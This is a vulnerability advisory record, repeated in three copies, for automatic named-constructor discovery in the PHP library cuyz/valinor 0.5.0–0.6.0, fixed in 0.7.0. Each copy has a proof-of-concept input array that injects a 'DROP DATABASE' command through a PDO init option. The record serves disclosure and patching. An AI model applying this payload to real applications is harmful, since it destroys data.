{"id":"GHSA-xhr8-mpwq-2rr2","aliases":[],"status":"published","title":"Automatic named constructor discovery in Valinor","description":"## Design issue - automatic constructor discovery\n\nThe issue arises when upgrading from `cuyz/valinor:0.3.0` to a newer system on an existing application, which broke due to the wrong constructor being picked.\n\nStill, a bigger security concern is problematic, and it is akin to https://github.com/rails/rails/issues/5228.\n\n## Example exploit\n\nTake following DTO example:\n\n```php\nfinal class UserDTO\n{\n    public function __construct(\n        public int $id,\n        public string $name\n    ) {}\n    public static function fromDb(\n        PDO $connection,\n        int $id\n    ): self { /* ... code to fetch the DTO here ... */ }\n}\n```\n\nThere is nothing inherently unsafe about the above `UserDTO`, but when mixed with `cuyz/valinor:^0.5.0` ( specifically https://github.com/CuyZ/Valinor/commit/718d3c1bc2ea7d28b4b1f6c062addcd1dde8660b ), it is an explosive mix:\n\n```php\n// this could be coming from user input:\n$maliciousPayload = [\n    'connection' =\u003e [\n      'dsn' =\u003e 'mysql:host=some-host;database=some-database',\n      'username' =\u003e 'root',\n      'password' =\u003e 'root',\n      'options' =\u003e [\n        // PDO::MYSQL_ATTR_INIT_COMMAND === 1002\n        1002 =\u003e 'DROP DATABASE all-the-moneys'\n      ]\n    ],\n    'id' =\u003e 123,\n];\n\n$treeMapper-\u003emap(\n  UserDTO::class,\n  $maliciousPayload\n); // your DB is gone :D\n```\n\nThe above payload is represented in PHP form, but may as well be input JSON, HTML or x-form-urlencoded.\n\n## Mitigation\n\nVersion 0.7.0 contains a patch for this issue.\n\nAutomatic named constructor resolution should be disabled - only explicitly mapped named constructors should be used/discovered.","facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"published":"2022-04-01T13:39:45Z","modified":"2024-12-05T05:34:24Z","fixes":[{"ecosystem":"Packagist","package":"cuyz/valinor","fixed_in":["0.7.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"Packagist","package":"cuyz/valinor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.5.0"},{"fixed":"0.7.0"}]}]},{"source":"osv","ecosystem":"Packagist","package":"cuyz/valinor","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.5.0"},{"fixed":"0.7.0"}]}],"versions":["0.5.0","0.6.0"]}],"references":[{"url":"https://github.com/CuyZ/Valinor/security/advisories/GHSA-xhr8-mpwq-2rr2","tags":["web"]},{"url":"https://github.com/CuyZ/Valinor/commit/718d3c1bc2ea7d28b4b1f6c062addcd1dde8660b","tags":["web"]},{"url":"https://github.com/CuyZ/Valinor/releases/tag/0.7.0","tags":["web"]},{"url":"https://github.com/advisories/GHSA-xhr8-mpwq-2rr2"},{"url":"https://github.com/CuyZ/Valinor","tags":["package"]}],"sources":{"ghsa":[{"id":"GHSA-xhr8-mpwq-2rr2","title":"Automatic named constructor discovery in Valinor","description":"## Design issue - automatic constructor discovery\n\nThe issue arises when upgrading from `cuyz/valinor:0.3.0` to a newer system on an existing application, which broke due to the wrong constructor being picked.\n\nStill, a bigger security concern is problematic, and it is akin to https://github.com/rails/rails/issues/5228.\n\n## Example exploit\n\nTake following DTO example:\n\n```php\nfinal class UserDTO\n{\n    public function __construct(\n        public int $id,\n        public string $name\n    ) {}\n    public static function fromDb(\n        PDO $connection,\n        int $id\n    ): self { /* ... code to fetch the DTO here ... */ }\n}\n```\n\nThere is nothing inherently unsafe about the above `UserDTO`, but when mixed with `cuyz/valinor:^0.5.0` ( specifically https://github.com/CuyZ/Valinor/commit/718d3c1bc2ea7d28b4b1f6c062addcd1dde8660b ), it is an explosive mix:\n\n```php\n// this could be coming from user input:\n$maliciousPayload = [\n    'connection' =\u003e [\n      'dsn' =\u003e 'mysql:host=some-host;database=some-database',\n      'username' =\u003e 'root',\n      'password' =\u003e 'root',\n      'options' =\u003e [\n        // PDO::MYSQL_ATTR_INIT_COMMAND === 1002\n        1002 =\u003e 'DROP DATABASE all-the-moneys'\n      ]\n    ],\n    'id' =\u003e 123,\n];\n\n$treeMapper-\u003emap(\n  UserDTO::class,\n  $maliciousPayload\n); // your DB is gone :D\n```\n\nThe above payload is represented in PHP form, but may as well be input JSON, HTML or x-form-urlencoded.\n\n## Mitigation\n\nVersion 0.7.0 contains a patch for this issue.\n\nAutomatic named constructor resolution should be disabled - only explicitly mapped named constructors should be used/discovered.","status":"published","published":"2022-04-01T13:39:45Z","modified":"2023-01-11T05:06:27Z","updated_at":"2026-11-02T14:36:13.23016Z"}],"osv":[{"id":"GHSA-xhr8-mpwq-2rr2","title":"Automatic named constructor discovery in Valinor","description":"## Design issue - automatic constructor discovery\n\nThe issue arises when upgrading from `cuyz/valinor:0.3.0` to a newer system on an existing application, which broke due to the wrong constructor being picked.\n\nStill, a bigger security concern is problematic, and it is akin to https://github.com/rails/rails/issues/5228.\n\n## Example exploit\n\nTake following DTO example:\n\n```php\nfinal class UserDTO\n{\n    public function __construct(\n        public int $id,\n        public string $name\n    ) {}\n    public static function fromDb(\n        PDO $connection,\n        int $id\n    ): self { /* ... code to fetch the DTO here ... */ }\n}\n```\n\nThere is nothing inherently unsafe about the above `UserDTO`, but when mixed with `cuyz/valinor:^0.5.0` ( specifically https://github.com/CuyZ/Valinor/commit/718d3c1bc2ea7d28b4b1f6c062addcd1dde8660b ), it is an explosive mix:\n\n```php\n// this could be coming from user input:\n$maliciousPayload = [\n    'connection' =\u003e [\n      'dsn' =\u003e 'mysql:host=some-host;database=some-database',\n      'username' =\u003e 'root',\n      'password' =\u003e 'root',\n      'options' =\u003e [\n        // PDO::MYSQL_ATTR_INIT_COMMAND === 1002\n        1002 =\u003e 'DROP DATABASE all-the-moneys'\n      ]\n    ],\n    'id' =\u003e 123,\n];\n\n$treeMapper-\u003emap(\n  UserDTO::class,\n  $maliciousPayload\n); // your DB is gone :D\n```\n\nThe above payload is represented in PHP form, but may as well be input JSON, HTML or x-form-urlencoded.\n\n## Mitigation\n\nVersion 0.7.0 contains a patch for this issue.\n\nAutomatic named constructor resolution should be disabled - only explicitly mapped named constructors should be used/discovered.","status":"published","published":"2022-04-01T13:39:45Z","modified":"2024-12-05T05:34:24.161317Z","updated_at":"2026-11-02T15:47:00.198893Z"}]}}
